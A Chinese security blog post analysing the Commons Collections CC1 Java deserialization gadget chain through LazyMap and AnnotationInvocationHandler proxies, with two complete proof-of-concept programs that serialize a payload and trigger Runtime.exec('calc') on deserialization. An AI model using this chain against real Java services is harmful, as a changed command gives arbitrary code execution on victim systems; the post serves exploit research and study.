https://img2024.cnblogs.com/blog/3305226/202503/3305226-20250331155133325-143341361.jpg

CC1链-LazyMap链利用分析

CC1链-LazyMap链利用分析

CC1链的第二种方式,上文已经把第一种方式进行详细分析,这次通过第二种方式进行利用

环境:

和上次的环境环境一致,也接着从上次分析

CC1链分析 - kudo4869 - 博客园

也就是如图红色链条的部分

image-20250406145746604

原理分析:

上次我们用的是TransformedMap中的checkSetValue方法这次,这次利用LazyMap中的get()方法

image-20250401195344715

1.要让map.containskey(key) == false //判断键的唯一性,不放键值对也保证条件成立

2.factory我们要注入恶意类Chainstransform

3.控制key为runtime.class对象(因为原理没有变最后还是通过transform执行,得通过Chainstransform绕过Runtime对象)

map和factory是由构造函数传入的,而构造函数在静态方法decorate中调用

image-20250401201535914

目前的poc(能弹出计算器)

public class LazyMapTest {
    public static void main(String[] args) {
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
        lazyMap.get(Runtime.class);
    }
}

继续找谁调用了get()方法,这里也是直接说结果了,AnnotationInvocationHandler类中的invoke方法调用了get函数

image-20250401195851040

先聊聊AnnotationInvocationHandler类 ,它实现了InvocationHandler接口,因此它可以作为动态代理的调用处理器,而它本身不是代理类,动态代理的核心是InovationHandler接口

比如这个动态代理类中就用到了InovationHandler

public class ProxyUtil {
    public static Star createProxy(BigStar bigStar) {
        Star starProxy = (Star) Proxy.newProxyInstance(ProxyUtil.class.getClassLoader(),
                new Class[]{Star.class},
                new InvocationHandler() {
                    @Override //回调方法:当主程序执行sing方法时会调用invoke,并将参数传过来
                    // proxy就是代理对象starProxy,method指sing,args指"好日子"
                    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                        //代理对象要做的事情,会在这里写代码
                        if (method.getName().equals("sing")) {
                            System.out.println("准备话筒,收钱20万");
                        } else if (method.getName().equals("dance")) {
                            System.out.println("准备场地,收钱1000万");
                        }
                        return method.invoke(bigStar, args);
                    }
                });
        return starProxy;
    }
}

也就是说使用AnnotationInvocationHandler处理器的委托类(被动态代理的类)执行任何方法都会执行这个处理器的invoke方法(要除开Object类的默认方法,如hashCode())

举个例子

比如让定义一个lazymap委托类(用这个处理器处理),执行类中方法时,就会执行这个处理器中的invoke方法

当然我们还需要满足invoke()方法能执行到get()方法处,并且memberValues得为LazyMap

image-20250401211434386

现在我们整理下信息,首先我们的代理器AnnotationInvocationHandler得传入LazyMap,可以通过反射构造

第二,有委托类的无参调用,且终点是readObject(),这个终点的readObject()可以是任何类

最后的条件应该为,假设最后我们用到a类对象,它可以是任意类,但它的readObject()方法中必须有委托类的无参方法调用。且委托类的处理器应传入LazyMap

再解释下这段话,就是我们最后是反序列化一个对象,然后通过对象的反序列化启动这一系列的行为,所以这个类的readObject()得出现这个被代理类的无参方法,这样我们就可以恶意执行了。

我们最后找到的类是a类正好是AnnotationInvocationHandler,委托类是LazyMap,entrySet()是无参方法

这个readObject函数我们也在之前cc1中分析过

image-20250401212359382

image-20250402190836957

所以整个链是什么,AnnotationInvocationHandler反序列化,执行memberValues.entrySet()方法,memberValues是被代理的Map类,所以执行处理器AnnotationInvocationHandler中的invoke方法,LazyMap.get(member)(这里的member是空)->transform(将空转成runtime.class再恶意执行代码)

最后把整个流程写一下,先获得处理器

        //生成处理器
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor= clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(Override.class, lazyMap);

生成委托类

//生成LazyMap委托类
        Map proxyMap = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},invocationHandler);

生成a类

//生成a类AnnotationInvocationHandler,同样也是使用这个构造器,这里写Override也可以,因为我们只需要达到无参构造,不需要通过if判断
        Object obj = constructor.newInstance(Target.class, proxyMap);

最后合并得到最后的poc

POC:

public class LazyMapTest {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
        //生成处理器
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor= clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(Override.class, lazyMap);
        //生成LazyMap委托类
        Map proxyMap = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
        //生成a类AnnotationInvocationHandler,同样也是使用这个构造器,这里写Override也可以,因为我们只需要达到无参构造,不需要通过if判断
        Object obj = constructor.newInstance(Target.class, proxyMap);
        //序列化
        new ObjectOutputStream(new FileOutputStream("ser1.bin")).writeObject(obj);
        //反序列化
        new ObjectInputStream(new FileInputStream("ser1.bin")).readObject();
    }
}

最后成功弹出计算器

image-20250402194134306

posted @ 2025-04-02 19:51  kudo4869  阅读(83)  评论(0)    收藏  举报